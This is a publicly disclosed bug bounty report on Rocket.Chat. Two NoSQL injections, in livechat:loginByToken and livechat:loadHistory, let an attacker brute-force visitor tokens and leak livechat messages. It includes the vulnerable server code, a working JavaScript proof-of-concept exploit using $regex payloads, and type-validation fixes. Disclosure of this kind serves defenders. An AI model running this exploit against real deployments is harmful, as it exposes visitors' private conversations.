HexBrain

Rocket.Chat · Report #2580062

NoSQL injection leaks visitor token and livechat messages

Validstatus
mediumseverity
29upvotes
11 Jul 2024disclosed

How it was found

Summary

Livechat messages can be leaked by combining two NoSQL injections affecting livechat:loginByToken (pre-authentication) and livechat:loadHistory.

Description

The token parameter of the livechat:loginByToken method is not validated and allows NoSQL injection, for instance $regex to efficiently leak existing livechat visitor token

apps/meteor/app/livechat/server/methods/loginByToken.ts#L17

Meteor.methods<ServerMethods>({
  async 'livechat:loginByToken'(token) {
    methodDeprecationLogger.method('livechat:loginByToken', '7.0.0');
    const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });

    if (!visitor) {
      return;
    }

    return {
      _id: visitor._id,
    };
  },
});

With a known visitor token, an authenticated adversary can load the message history by guessing a room ID or using another NoSQL injection in this methods rid parameter. The method requires a valid visitor token, which is known from the first step.

apps/meteor/app/livechat/server/methods/loadHistory.ts#L30

Meteor.methods<ServerMethods>({
  async 'livechat:loadHistory'({ token, rid, end, limit = 20, ls }) {
    methodDeprecationLogger.method('livechat:loadHistory', '7.0.0');

    if (!token || typeof token !== 'string') {
      return;
    }

    const visitor = await LivechatVisitors.getVisitorByToken(token, { projection: { _id: 1 } });

    if (!visitor) {
      throw new Meteor.Error('invalid-visitor', 'Invalid Visitor', {
        method: 'livechat:loadHistory',
      });
    }

    const room = await LivechatRooms.findOneByIdAndVisitorToken(rid, token, { projection: { _id: 1 } });
    if (!room) {
      throw new Meteor.Error('invalid-room', 'Invalid Room', { method: 'livechat:loadHistory' });
    }

    return loadMessageHistory({ userId: visitor._id, rid, end, limit, ls });
  },
});

Releases Affected:

Steps To Reproduce:

  1. Login to a Rocket.Chat appliance with Livechat enabled (e.g. https://open.rocket.chat)
  2. Open Web Inspector
  3. Execute Proof-of-Concept

Proof of Concept

var pool = "0123456789abcdef";
var rate_limit = 4; // requests per second

var guessVisitorToken = (knownValid, guesses) => {
  return new Promise((resolve, reject) => {
    if (!guesses.length) {
      return reject();
    }
    const guess = { "$regex": `^${knownValid}[${guesses}]` };
    console.log("Meteor.call", "livechat:loginByToken", guess);
    Meteor.call("livechat:loginByToken", guess, async (err, data) => {
      await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
      if (err) {
        console.error(err);
        return reject(err);
      }
      if ((data instanceof Object) && data.hasOwnProperty("_id")) {
        resolve(guesses)
      } else {
        reject();
      }
    });
  });
};

var bruteforceVisitorToken = async (knownValid="") => {

  let remainingPool = pool;
  while (true) {
    await new Promise((resolve) => setTimeout(() => resolve(), (1000 / rate_limit)));
    if (remainingPool.length === 0) {
      throw new Error("empty pool");
    } else if (remainingPool.length === 1) {
      await guessVisitorToken(knownValid, remainingPool);
      knownValid += remainingPool[0];
      remainingPool = pool;
      continue;
    } else {
      const middle = Math.ceil(remainingPool.length / 2);
      const left = remainingPool.slice(0, middle);
      const right = remainingPool.slice(middle);
      try {
        await guessVisitorToken(knownValid, left);
        remainingPool = left;
        continue;
      } catch(err) {}

      try {
        await guessVisitorToken(knownValid, right);
        remainingPool = right;
        continue
      } catch(err) {}
      return knownValid;
    }
  }
}

const { messages, token } = await bruteforceVisitorToken("")
  .then((token) => {
    console.log("Token leaked", token);
    return new Promise((resolve, reject) => {
      Meteor.call("livechat:loadHistory", { token, rid: { "$regex": ".*" } }, (err, messages) => {
        if (err) {
          console.log("failed to leak messages");
          return reject();
        }
        resolve({ token, messages })
      })
    });
  })
  .catch(console.error);

console.log({ token, messages });

Suggested mitigation

  • Validate token parameter oflivechat:loginByToken method to be a String.
  • Validate rid parameter of livechat:loadHistory method to be a String.

Impact

Unauthenticated attackers can leak visitor token on Rocket.Chat appliances with Livechat enabled by using a NoSQL injection in the token parameter of the livechat:loginByToken method. Combined with another NoSQL injection in the rid parameter of the livechat:loadHistory method, all Livechat messages can be leaked.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original